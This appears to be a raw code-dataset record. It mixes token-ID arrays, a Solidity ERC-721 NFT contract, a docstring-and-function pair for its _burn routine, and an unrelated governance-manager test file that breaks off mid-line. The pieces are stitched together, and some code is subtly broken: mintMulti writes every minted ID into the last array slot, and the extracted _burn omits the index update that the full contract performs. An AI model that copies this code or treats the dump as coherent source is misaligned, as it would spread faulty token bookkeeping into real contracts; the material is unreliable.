[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 1475, 310, 951, 41, 451, 1420, 59, 4773, 353, 1475, 310, 951, 41, 451, 1420, 288, 203, 565, 533, 1071, 5381, 508, 282, 273, 315, 47, 310, 434, 512, 451, 2591, 30, 678, 4773, 14432, 203, 203, 565, 533, 1071, 5381, 3273, 273, 315, 6859, 59, 51, 14432, 203, 203, 203, 97, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.8.4; import "./utils/ERC165.sol"; import "./IERC721.sol"; import "./IERC721TokenReceiver.sol"; import "./IERC721Metadata.sol"; import "./utils/support-interface.sol"; import "./utils/address.sol"; import "./utils/safe-math.sol"; /** * @dev Implementation of ERC-721 non-fungible token standard. */ contract NFT721Basic is ERC721, ERC721Metadata, ERC721TokenReceiver, SupportsInterface { using SafeMath for uint256; using Address for address; /** * @dev Magic value of a smart contract that can recieve NFT. * Equal to: bytes4(keccak256("onERC721Received(address,address,uint256,bytes)")). */ bytes4 internal constant MAGIC_ON_ERC721_RECEIVED = 0x150b7a02; /** * @dev An abbreviated name for NFTokens. */ string internal _symbol; /** * @dev A descriptive name for a collection of NFTs. */ string internal _name; /** * @dev Count avaiable token id, auto increment. */ uint256 internal _availableId = 0; /** * @dev Array of all NFT IDs. */ uint256[] public tokens; /** * @dev Contract owner */ address internal root; /** * @dev Mapping from token ID to its index in global tokens array. */ mapping(uint256 => uint256) internal idToIndex; /** * @dev Mapping from NFT ID to metadata uri. */ mapping(uint256 => string) internal idToUri; /** * @dev A mapping from NFT ID to the address that owns it. */ mapping(uint256 => address) internal idToOwner; /** * @dev Mapping from owner to list of owned NFT IDs. */ mapping(address => uint256[]) internal ownerToIds; /** * @dev Mapping from NFT ID to its index in the owner tokens list. */ mapping(uint256 => uint256) internal idToOwnerIndex; /** * @dev Mapping from NFT ID to approved address. */ mapping(uint256 => address) internal idToApproval; /** * @dev Mapping from owner address to mapping of operator addresses. */ mapping(address => mapping(address => bool)) internal ownerToOperators; /** * @dev Guarantees that the msg.sender is an owner or operator of the given NFT. * @param _tokenId ID of the NFT to validate. */ modifier canOperate(uint256 _tokenId) { address tokenOwner = idToOwner[_tokenId]; require( tokenOwner == msg.sender || ownerToOperators[tokenOwner][msg.sender], "not owner or operator" ); _; } /** * @dev Guarantees that the msg.sender is allowed to transfer NFT. * @param _tokenId ID of the NFT to transfer. */ modifier canTransfer(uint256 _tokenId) { address tokenOwner = idToOwner[_tokenId]; require( tokenOwner == msg.sender || idToApproval[_tokenId] == msg.sender || ownerToOperators[tokenOwner][msg.sender], "not owner approved or operator" ); _; } /** * @dev Guarantees that _tokenId is a valid Token. * @param _tokenId ID of the NFT to validate. */ modifier validNFToken(uint256 _tokenId) { require(idToOwner[_tokenId] != address(0), "not valid nft"); _; } /** * @dev Guarantees that sender is the root account. */ modifier onlyRoot() { require(msg.sender == root, "should be root account"); _; } /** * @dev Contract constructor. */ constructor(string memory name, string memory symbol) public { supportedInterfaces[0x80ac58cd] = true; // ERC721 supportedInterfaces[0x5b5e139f] = true; // ERC721Metadata supportedInterfaces[0x150b7a02] = true; // ERC721TokenReceiver _name = name; _symbol = symbol; root = msg.sender; } /** * @dev Transfers the ownership of an NFT from one address to another address. This function can * be changed to payable. * @notice Throws unless `msg.sender` is the current owner, an authorized operator, or the * approved address for this NFT. Throws if `_from` is not the current owner. Throws if `_to` is * the zero address. Throws if `_tokenId` is not a valid NFT. When transfer is complete, this * function checks if `_to` is a smart contract (code size > 0). If so, it calls * `onERC721Received` on `_to` and throws if the return value is not * `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`. * @param _from The current owner of the NFT. * @param _to The new owner. * @param _tokenId The NFT to transfer. * @param _data Additional data with no specified format, sent in call to `_to`. */ function safeTransferFrom( address _from, address _to, uint256 _tokenId, bytes calldata _data ) external override { _safeTransferFrom(_from, _to, _tokenId, _data); } /** * @dev Transfers the ownership of an NFT from one address to another address. This function can * be changed to payable. * @notice This works identically to the other function with an extra data parameter, except this * function just sets data to "" * @param _from The current owner of the NFT. * @param _to The new owner. * @param _tokenId The NFT to transfer. */ function safeTransferFrom( address _from, address _to, uint256 _tokenId ) external override { _safeTransferFrom(_from, _to, _tokenId, ""); } /** * @dev Throws unless `msg.sender` is the current owner, an authorized operator, or the approved * address for this NFT. Throws if `_from` is not the current owner. Throws if `_to` is the zero * address. Throws if `_tokenId` is not a valid NFT. This function can be changed to payable. * @notice The caller is responsible to confirm that `_to` is capable of receiving NFTs or else * they maybe be permanently lost. * @param _from The current owner of the NFT. * @param _to The new owner. * @param _tokenId The NFT to transfer. */ function transferFrom( address _from, address _to, uint256 _tokenId ) external override canTransfer(_tokenId) validNFToken(_tokenId) { address tokenOwner = idToOwner[_tokenId]; require(tokenOwner == _from, "not owner"); require(_to != address(0), "zero address"); _transfer(_to, _tokenId); } /** * @dev Set or reaffirm the approved address for an NFT. This function can be changed to payable. * @notice The zero address indicates there is no approved address. Throws unless `msg.sender` is * the current NFT owner, or an authorized operator of the current owner. * @param _approved Address to be approved for the given NFT ID. * @param _tokenId ID of the token to be approved. */ function approve(address _approved, uint256 _tokenId) external override canOperate(_tokenId) validNFToken(_tokenId) { address tokenOwner = idToOwner[_tokenId]; require(_approved != tokenOwner, "approved address is token owner"); idToApproval[_tokenId] = _approved; emit Approval(tokenOwner, _approved, _tokenId); } /** * @dev Enables or disables approval for a third party ("operator") to manage all of * `msg.sender`'s assets. It also emits the ApprovalForAll event. * @notice This works even if sender doesn't own any tokens at the time. * @param _operator Address to add to the set of authorized operators. * @param _approved True if the operators is approved, false to revoke approval. */ function setApprovalForAll(address _operator, bool _approved) external override { ownerToOperators[msg.sender][_operator] = _approved; emit ApprovalForAll(msg.sender, _operator, _approved); } /** * @dev Returns the number of NFTs owned by `_owner`. NFTs assigned to the zero address are * considered invalid, and this function throws for queries about the zero address. * @param _owner Address for whom to query the balance. * @return Balance of _owner. */ function balanceOf(address _owner) external view override returns (uint256) { require(_owner != address(0), "zero address"); return _getOwnerNFTCount(_owner); } /** * @dev Returns the address of the owner of the NFT. NFTs assigned to zero address are considered * invalid, and queries about them do throw. * @param _tokenId The identifier for an NFT. * @return _owner Address of _tokenId owner. */ function ownerOf(uint256 _tokenId) external view override returns (address _owner) { _owner = idToOwner[_tokenId]; require(_owner != address(0), "not valid nft"); } /** * @dev Get the approved address for a single NFT. * @notice Throws if `_tokenId` is not a valid NFT. * @param _tokenId ID of the NFT to query the approval of. * @return Address that _tokenId is approved for. */ function getApproved(uint256 _tokenId) external view override validNFToken(_tokenId) returns (address) { return idToApproval[_tokenId]; } /** * @dev Checks if `_operator` is an approved operator for `_owner`. * @param _owner The address that owns the NFTs. * @param _operator The address that acts on behalf of the owner. * @return True if approved for all, false otherwise. */ function isApprovedForAll(address _owner, address _operator) external view override returns (bool) { return ownerToOperators[_owner][_operator]; } /** * @dev Actually preforms the transfer. * @notice Does NO checks. * @param _to Address of a new owner. * @param _tokenId The NFT that is being transferred. */ function _transfer(address _to, uint256 _tokenId) internal { address from = idToOwner[_tokenId]; _clearApproval(_tokenId); _removeNFToken(from, _tokenId); _addNFToken(_to, _tokenId); emit Transfer(from, _to, _tokenId); } /** * @dev Mints a new NFT. * @param to The address that will own the minted NFT. * @param uri of the NFT to be minted by the msg.sender. */ function mint( address to, string calldata uri, uint256 num ) external onlyRoot returns (uint256[] memory) { return _mint(to, uri, num); } /** * @dev Mints a new NFT. * @param targets The address list that will own the minted NFT. * @param uris Uri list to be assigned to minted NFT. */ function mintMulti(address[] calldata targets, string[] calldata uris) external onlyRoot returns (uint256[] memory tokenIds) { require( targets.length > 0 && uris.length > 0, "target list should not be empty" ); require( targets.length == uris.length, "targets'length not equal to uris" ); uint256 num = targets.length; tokenIds = new uint256[](num); for (uint256 i = 0; i < num; i++) { string memory _uri = uris[i]; require(bytes(_uri).length < 256, "uri too long"); uint256[] memory _tokenIds = _mint(targets[i], _uri, 1); for (uint256 j = 0; j < _tokenIds.length; j++) { tokenIds[tokenIds.length - 1] = _tokenIds[j]; } } } /** * @dev Mints a new NFT. * @notice This is an internal function which should be called from user-implemented external * mint function. Its purpose is to show and properly initialize data structures when using this * implementation. * @param _to The address that will own the minted NFT. * @param _uri of the NFT to be minted by the msg.sender. */ function _mint( address _to, string memory _uri, uint256 _num ) internal virtual returns (uint256[] memory tokenIds) { require(_to != address(0), "zero address"); require(bytes(_uri).length <= 256, "uri too long"); tokenIds = new uint256[](_num); for (uint256 i = 0; i < _num; i++) { // avaialbe token id uint256 _tokenId = _availableId++; _addNFToken(_to, _tokenId); emit Transfer(address(0), _to, _tokenId); _setTokenUri(_tokenId, _uri); tokens.push(_tokenId); tokenIds[i] = _tokenId; idToIndex[_tokenId] = tokens.length - 1; } } /** * @dev Burns a NFT. * @param tokenId ID of the NFT to be burned. */ function burn(uint256 tokenId) external { _burn(tokenId); } /** * @dev Burns a NFT. * @notice This is an internal function which should be called from user-implemented external burn * function. Its purpose is to show and properly initialize data structures when using this * implementation. Also, note that this burn implementation allows the minter to re-mint a burned * NFT. * @param _tokenId ID of the NFT to be burned. */ function _burn(uint256 _tokenId) internal virtual validNFToken(_tokenId) { address tokenOwner = idToOwner[_tokenId]; _clearApproval(_tokenId); _removeNFToken(tokenOwner, _tokenId); emit Transfer(tokenOwner, address(0), _tokenId); if (bytes(idToUri[_tokenId]).length != 0) { delete idToUri[_tokenId]; } uint256 tokenIndex = idToIndex[_tokenId]; uint256 lastTokenIndex = tokens.length - 1; uint256 lastToken = tokens[lastTokenIndex]; tokens[tokenIndex] = lastToken; tokens.pop(); // This wastes gas if you are burning the last token but saves a little gas if you are not. idToIndex[lastToken] = tokenIndex; idToIndex[_tokenId] = 0; } /** * @dev Removes a NFT from owner. * @notice Use and override this function with caution. Wrong usage can have serious consequences. * @param _from Address from wich we want to remove the NFT. * @param _tokenId Which NFT we want to remove. */ function _removeNFToken(address _from, uint256 _tokenId) internal virtual { require(idToOwner[_tokenId] == _from, "not owner"); delete idToOwner[_tokenId]; uint256 tokenToRemoveIndex = idToOwnerIndex[_tokenId]; uint256 lastTokenIndex = ownerToIds[_from].length - 1; if (lastTokenIndex != tokenToRemoveIndex) { uint256 lastToken = ownerToIds[_from][lastTokenIndex]; ownerToIds[_from][tokenToRemoveIndex] = lastToken; idToOwnerIndex[lastToken] = tokenToRemoveIndex; } ownerToIds[_from].pop(); } /** * @dev Assignes a new NFT to owner. * @notice Use and override this function with caution. Wrong usage can have serious consequences. * @param _to Address to wich we want to add the NFT. * @param _tokenId Which NFT we want to add. */ function _addNFToken(address _to, uint256 _tokenId) internal virtual { require(idToOwner[_tokenId] == address(0), "nft exists"); idToOwner[_tokenId] = _to; ownerToIds[_to].push(_tokenId); idToOwnerIndex[_tokenId] = ownerToIds[_to].length - 1; } /** * @dev Set a distinct URI (RFC 3986) for a given NFT ID. * @notice This is an internal function which should be called from user-implemented external * function. Its purpose is to show and properly initialize data structures when using this * implementation. * @param _tokenId Id for which we want uri. * @param _uri String representing RFC 3986 URI. */ function _setTokenUri(uint256 _tokenId, string memory _uri) internal validNFToken(_tokenId) { idToUri[_tokenId] = _uri; } /** * @dev Helper function that gets NFT count of owner. This is needed for overriding in enumerable * extension to remove double storage (gas optimization) of owner nft count. * @param _owner Address for whom to query the count. * @return Number of _owner NFTs. */ function _getOwnerNFTCount(address _owner) internal view virtual returns (uint256) { return ownerToIds[_owner].length; } /** * @dev Actually perform the safeTransferFrom. * @param _from The current owner of the NFT. * @param _to The new owner. * @param _tokenId The NFT to transfer. * @param _data Additional data with no specified format, sent in call to `_to`. */ function _safeTransferFrom( address _from, address _to, uint256 _tokenId, bytes memory _data ) private canTransfer(_tokenId) validNFToken(_tokenId) { address tokenOwner = idToOwner[_tokenId]; require(tokenOwner == _from, "not owner"); require(_to != address(0), "zero address"); _transfer(_to, _tokenId); if (_to.isContract()) { bytes4 retval = ERC721TokenReceiver(_to).onERC721Received( msg.sender, _from, _tokenId, _data ); require( retval == MAGIC_ON_ERC721_RECEIVED, "not able to receive nft" ); } } /** * @dev Clears the current approval of a given NFT ID. * @param _tokenId ID of the NFT to be transferred. */ function _clearApproval(uint256 _tokenId) private { if (idToApproval[_tokenId] != address(0)) { delete idToApproval[_tokenId]; } } /// @notice Handle the receipt of an NFT /// @dev The ERC721 smart contract calls this function on the recipient /// after a `transfer`. This function MAY throw to revert and reject the /// transfer. Return of other than the magic value MUST result in the /// transaction being reverted. /// Note: the contract address is always the message sender. /// @param _operator The address which called `safeTransferFrom` function /// @param _from The address which previously owned the token /// @param _tokenId The NFT identifier which is being transferred /// @param _data Additional data with no specified format /// @return `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` /// unless throwing function onERC721Received( address _operator, address _from, uint256 _tokenId, bytes calldata _data ) external override returns (bytes4) { return MAGIC_ON_ERC721_RECEIVED; } /// @notice A descriptive name for a collection of NFTs in this contract function name() external view override returns (string memory) { return _name; } /// @notice An abbreviated name for NFTs in this contract function symbol() external view override returns (string memory) { return _symbol; } /// @notice A distinct Uniform Resource Identifier (URI) for a given asset. /// @dev Throws if `_tokenId` is not a valid NFT. URIs are defined in RFC /// 3986. The URI may point to a JSON file that conforms to the "ERC721 /// Metadata JSON Schema". function tokenURI(uint256 _tokenId) external view override returns (string memory) { return idToUri[_tokenId]; } /** * @notice Return the tokens owned by an address. */ function tokensByOwner(address _owner) external view returns (uint256[] memory) { return ownerToIds[_owner]; } }
* @dev Burns a NFT. @notice This is an internal function which should be called from user-implemented external burn function. Its purpose is to show and properly initialize data structures when using this implementation. Also, note that this burn implementation allows the minter to re-mint a burned NFT. @param _tokenId ID of the NFT to be burned./
function _burn(uint256 _tokenId) internal virtual validNFToken(_tokenId) { address tokenOwner = idToOwner[_tokenId]; _clearApproval(_tokenId); _removeNFToken(tokenOwner, _tokenId); emit Transfer(tokenOwner, address(0), _tokenId); if (bytes(idToUri[_tokenId]).length != 0) { delete idToUri[_tokenId]; } uint256 tokenIndex = idToIndex[_tokenId]; uint256 lastTokenIndex = tokens.length - 1; uint256 lastToken = tokens[lastTokenIndex]; tokens[tokenIndex] = lastToken; tokens.pop(); idToIndex[_tokenId] = 0; }
5,378,659
[ 1, 38, 321, 87, 279, 423, 4464, 18, 225, 1220, 353, 392, 2713, 445, 1492, 1410, 506, 2566, 628, 729, 17, 21099, 3903, 18305, 445, 18, 29517, 13115, 353, 358, 2405, 471, 8214, 4046, 501, 12597, 1347, 1450, 333, 4471, 18, 8080, 16, 4721, 716, 333, 18305, 4471, 5360, 326, 1131, 387, 358, 283, 17, 81, 474, 279, 18305, 329, 423, 4464, 18, 225, 389, 2316, 548, 1599, 434, 326, 423, 4464, 358, 506, 18305, 329, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 70, 321, 12, 11890, 5034, 389, 2316, 548, 13, 2713, 5024, 923, 26473, 1345, 24899, 2316, 548, 13, 288, 203, 3639, 1758, 1147, 5541, 273, 612, 774, 5541, 63, 67, 2316, 548, 15533, 203, 3639, 389, 8507, 23461, 24899, 2316, 548, 1769, 203, 3639, 389, 4479, 26473, 1345, 12, 2316, 5541, 16, 389, 2316, 548, 1769, 203, 3639, 3626, 12279, 12, 2316, 5541, 16, 1758, 12, 20, 3631, 389, 2316, 548, 1769, 203, 203, 3639, 309, 261, 3890, 12, 350, 774, 3006, 63, 67, 2316, 548, 65, 2934, 2469, 480, 374, 13, 288, 203, 5411, 1430, 612, 774, 3006, 63, 67, 2316, 548, 15533, 203, 3639, 289, 203, 203, 3639, 2254, 5034, 1147, 1016, 273, 612, 19418, 63, 67, 2316, 548, 15533, 203, 3639, 2254, 5034, 27231, 1016, 273, 2430, 18, 2469, 300, 404, 31, 203, 3639, 2254, 5034, 27231, 273, 2430, 63, 2722, 1345, 1016, 15533, 203, 203, 3639, 2430, 63, 2316, 1016, 65, 273, 27231, 31, 203, 203, 3639, 2430, 18, 5120, 5621, 203, 3639, 612, 19418, 63, 67, 2316, 548, 65, 273, 374, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT-open-group pragma solidity ^0.8.0; import "ds-test/test.sol"; import "./GovernanceManager.sol"; import "./GovernanceMaxLock.sol"; import "./GovernanceProposal.sol"; import "./GovernanceStorage.sol"; import "./Governance.sol"; import "./StakeNFT.sol"; import "./interfaces/INFTStake.sol"; import "./lib/openzeppelin/token/ERC20/ERC20.sol"; uint256 constant ONE_MADTOKEN = 10**18; contract MadTokenMock is ERC20 { constructor(address to_) ERC20("MadToken", "MAD") { _mint(to_, 220000000 * ONE_MADTOKEN); } } contract MinerStake is INFTStake { StakeNFT stakeNFT; constructor(StakeNFT stakeNFT_) { stakeNFT = stakeNFT_; } function lockPosition(address caller_, uint256 tokenID_, uint256 lockDuration_) external override returns(uint256 numberShares) { return stakeNFT.lockPosition(caller_, tokenID_, lockDuration_); } function mintTo(address to_, uint256 amount_, uint256 lockDuration_) public returns(uint256 tokenID) { return stakeNFT.mintTo(to_, amount_, lockDuration_); } } contract MockGovernanceOnlyAction is Governance, DSTest { constructor(address _governance) Governance(address(_governance)) {} function dummy() public onlyGovernance returns(bool){ emit log("Oh god, I got executed!"); emit log_named_address("Dummy: msg.sender in the dummy", msg.sender); return true; } } contract MockProposalLogic is GovernanceProposal, DSTest { function execute(address self) public override virtual returns(bool) { return _execute(); } function _execute() internal virtual returns(bool) { emit log_named_address("msg.sender", msg.sender); address _logic = 0x3A1148FE01e3c4721D93fe8A36c2b5C29109B6ae; (bool success, bytes memory data) = _logic.call(abi.encodeWithSignature("dummy()")); require(success, "GovernanceManager: CALL FAILED to execute proposal"); emit log_named_bytes("Executed successful", data); return true; } } contract MockProposalLogicFailedLogic is GovernanceProposal, DSTest { function execute(address self) public override virtual returns(bool) { return _execute(); } function _execute() internal virtual returns(bool) { revert("Proposal with failed logic!"); } } contract MockProposalChangeGovernanceManagerStorage is GovernanceProposal, DSTest { function execute(address self) public override virtual returns(bool) { return _execute(); } function _execute() internal virtual returns(bool) { _votemap[1][address(_Stake)][1]=false; _MinerStake=INFTStake(address(0x0)); _proposals[1] = GovernanceStorage.Proposal(false, address(0x0), 0, 666); _threshold=1; } } contract MockProposalLogicWithAllowedProposals is GovernanceProposal, DSTest { function execute(address self) public override virtual returns(bool) { emit log_named_address("MockProposalLogicWithAllowedProposals: msg.sender", msg.sender); // Address of the deployed MockProposalLogicWithOutAllowedProposals // contract. This contract is a middle man that doesn't have governance // powers. See the contract bellow. address _logic = 0xbfFb01bB2DDb4EfA87cB78EeCB8115AFAe6d2032; // giving the _logic address governance powers to call governance methods allowedProposal = _logic; (bool success, bytes memory data) = _logic.call(abi.encodeWithSignature("dummyNoDelegate()")); require(success, "GovernanceManager: CALL FAILED to execute proposal"); emit log_named_bytes("Executed successful", data); return success; } } contract MockProposalLogicWithOutAllowedProposals is GovernanceProposal, DSTest { function execute(address self) public override virtual returns(bool) { emit log_named_address("MockProposalLogicWithAllowedProposals: msg.sender", msg.sender); address _logic = 0xbfFb01bB2DDb4EfA87cB78EeCB8115AFAe6d2032; (bool success, bytes memory data) = _logic.call(abi.encodeWithSignature("dummyNoDelegate()")); require(success, "GovernanceManager: CALL FAILED to execute proposal"); emit log_named_bytes("Executed successful", data); return success; } } contract NoGovernanceDelegateCall is DSTest { function dummyNoDelegate() public returns (bool){ emit log_named_address("NoGovernanceDelegateCall: msg.sender", msg.sender); address _logic = 0x3A1148FE01e3c4721D93fe8A36c2b5C29109B6ae; (bool success, bytes memory data) = _logic.call(abi.encodeWithSignature("dummy()")); require(success, "GovernanceManager: CALL FAILED to execute proposal"); emit log_named_bytes("Executed successful", data); return success; } } contract MockProposalChangeGovernanceManagerStorageStake is GovernanceProposal, DSTest { function execute(address self) public override virtual returns(bool) { return _execute(); } function _execute() internal virtual returns(bool) { _Stake=INFTStake(address(0x0)); } } abstract contract BaseMock { StakeNFT public stakeNFT; MadTokenMock public madToken; GovernanceManager public governanceManager; function setTokens(MadTokenMock madToken_, StakeNFT stakeNFT_, GovernanceManager governanceManager_) public virtual { stakeNFT = stakeNFT_; madToken = madToken_; governanceManager = governanceManager_; } receive() external payable virtual {} } contract AdminAccount is BaseMock { constructor() {} function tripCB() public { stakeNFT.tripCB(); } function setTokens(MadTokenMock madToken_, StakeNFT stakeNFT_, GovernanceManager governanceManager_) public override virtual { stakeNFT = stakeNFT_; madToken = madToken_; governanceManager = governanceManager_; setGovernance(address(governanceManager_)); } function setGovernance(address governance_) public { stakeNFT.setGovernance(governance_); } } contract UserAccount is BaseMock { constructor() {} function voteAsMiner(uint256 proposalID_, uint256 tokenID_) public { governanceManager.voteAsMiner(proposalID_, tokenID_); } function voteAsStaker(uint256 proposalID_, uint256 tokenID_) public { governanceManager.voteAsStaker(proposalID_, tokenID_); } } contract GovernanceManagerTest is DSTest { function getFixtureData() internal returns ( StakeNFT stakeNFT, MinerStake minerStake, MadTokenMock madToken, AdminAccount admin, GovernanceManager governanceManager ) { admin = new AdminAccount(); AdminAccount adminMiner = new AdminAccount(); madToken = new MadTokenMock(address(this)); stakeNFT = new StakeNFT( IERC20Transfer(address(madToken)), address(admin), address(address(0x0)) ); minerStake = MinerStake(address (new StakeNFT( IERC20Transfer(address(madToken)), address(adminMiner), address(address(0x0)) ))); governanceManager = new GovernanceManager(address(stakeNFT), address(minerStake)); admin.setTokens(madToken, stakeNFT, governanceManager); adminMiner.setTokens(madToken, StakeNFT(address(minerStake)), governanceManager); } function newUserAccount(MadTokenMock madToken, StakeNFT stakeNFT, GovernanceManager governanceManager) private returns (UserAccount acct) { acct = new UserAccount(); acct.setTokens(madToken, stakeNFT, governanceManager); } function newUserAccount(MadTokenMock madToken, MinerStake minerStake, GovernanceManager governanceManager) private returns (UserAccount acct) { acct = new UserAccount(); acct.setTokens(madToken, StakeNFT(address(minerStake)), governanceManager); } function setBlockNumber(uint256 bn) internal returns (bool) { // https://github.com/dapphub/dapptools/tree/master/src/hevm#cheat-codes address externalContract = address( 0x7109709ECfa91a80626fF3989D68f67F5b1DD12D ); (bool success, /*bytes memory returnedData*/) = externalContract.call( abi.encodeWithSignature("roll(uint256)", bn) ); return success; } function assertProposal(GovernanceStorage.Proposal memory actual, GovernanceStorage.Proposal memory expected) public { assertTrue(actual.executed == expected.executed); assertEq(actual.logic, expected.logic); assertEq(actual.voteCount, expected.voteCount); assertEq(actual.blockEndVote, expected.blockEndVote); } function test_CreateProposal() public { (,,,,GovernanceManager governanceManager) = getFixtureData(); MockProposalLogic logic = new MockProposalLogic(); uint256 proposalID = governanceManager.propose(address(logic)); assertProposal( governanceManager.getProposal(proposalID), GovernanceStorage.Proposal( false, address(logic), 0, 172800 ) ); assertTrue(!governanceManager.isProposalExecuted(proposalID)); } function testFail_CreateProposalWithLogicAddressZero() public { (,,,,GovernanceManager governanceManager) = getFixtureData(); uint256 proposalID = governanceManager.propose(address(0x0)); } function testVoteAsStaker() public { ( StakeNFT stakeNFT, MinerStake minerStake, MadTokenMock madToken, AdminAccount admin, GovernanceManager governanceManager ) = getFixtureData(); MockProposalLogic logic = new MockProposalLogic(); MockGovernanceOnlyAction dummy = new MockGovernanceOnlyAction(address(governanceManager)); uint256 proposalID = governanceManager.propose(address(logic)); assertProposal( governanceManager.getProposal(proposalID), GovernanceStorage.Proposal( false, address(logic), 0, 172800 ) ); assertTrue(!governanceManager.isProposalExecuted(proposalID)); // We can only vote after 1 block has passed from the proposal creation setBlockNumber(block.number +1); for (uint256 i =0; i < 10; i++){ UserAccount user = newUserAccount(madToken, stakeNFT, governanceManager); madToken.approve(address(stakeNFT), 11_220_000 * 10**18); uint256 tokenID = stakeNFT.mintTo(address(user), 11_220_000 * 10**18, 1); user.voteAsStaker(proposalID, tokenID); } } function testVoteAsMiner() public { ( StakeNFT stakeNFT, MinerStake minerStake, MadTokenMock madToken, AdminAccount admin, GovernanceManager governanceManager ) = getFixtureData(); MockProposalLogic logic = new MockProposalLogic(); MockGovernanceOnlyAction dummy = new MockGovernanceOnlyAction(address(governanceManager)); uint256 proposalID = governanceManager.propose(address(logic)); assertProposal( governanceManager.getProposal(proposalID), GovernanceStorage.Proposal( false, address(logic), 0, 172800 ) ); assertTrue(!governanceManager.isProposalExecuted(proposalID)); // We can only vote after 1 block has passed from the proposal creation setBlockNumber(block.number +1); for (uint256 i =0; i < 10; i++){ UserAccount user = newUserAccount(madToken, minerStake, governanceManager); madToken.approve(address(minerStake), 11_220_000 * 10**18); uint256 tokenID = minerStake.mintTo(address(user), 11_220_000 * 10**18, 1); user.voteAsMiner(proposalID, tokenID); } } function testSameUserVotesAsMinerAndStaker() public { ( StakeNFT stakeNFT, MinerStake minerStake, MadTokenMock madToken, AdminAccount admin, GovernanceManager governanceManager ) = getFixtureData(); MockProposalLogic logic = new MockProposalLogic(); MockGovernanceOnlyAction dummy = new MockGovernanceOnlyAction(address(governanceManager)); uint256 proposalID = governanceManager.propose(address(logic)); assertProposal( governanceManager.getProposal(proposalID), GovernanceStorage.Proposal( false, address(logic), 0, 172800 ) ); assertTrue(!governanceManager.isProposalExecuted(proposalID)); // We can only vote after 1 block has passed from the proposal creation setBlockNumber(block.number +1); UserAccount[10] memory users; madToken.approve(address(minerStake), 110_000_000 * 10**18); madToken.approve(address(stakeNFT), 110_000_000 * 10**18); for (uint256 i =0; i < 10; i++){ users[i] = newUserAccount(madToken, minerStake, governanceManager); uint256 minerTokenId = minerStake.mintTo(address(users[i]), 11_000_000 * 10**18, 1); emit log_named_uint("miner token", minerTokenId); uint256 stakeTokenId = stakeNFT.mintTo(address(users[i]), 11_000_000 * 10**18, 1); emit log_named_uint("stake token", stakeTokenId); assertEq(minerTokenId, stakeTokenId); } for (uint256 i =0; i < 10; i++){ users[i].voteAsMiner(proposalID, i+1); users[i].voteAsStaker(proposalID, i+1); } } function testFail_TryToVoteNonExistingProposalId() public { (,,,,GovernanceManager governanceManager) = getFixtureData(); governanceManager.voteAsStaker(1000, 1001); } function 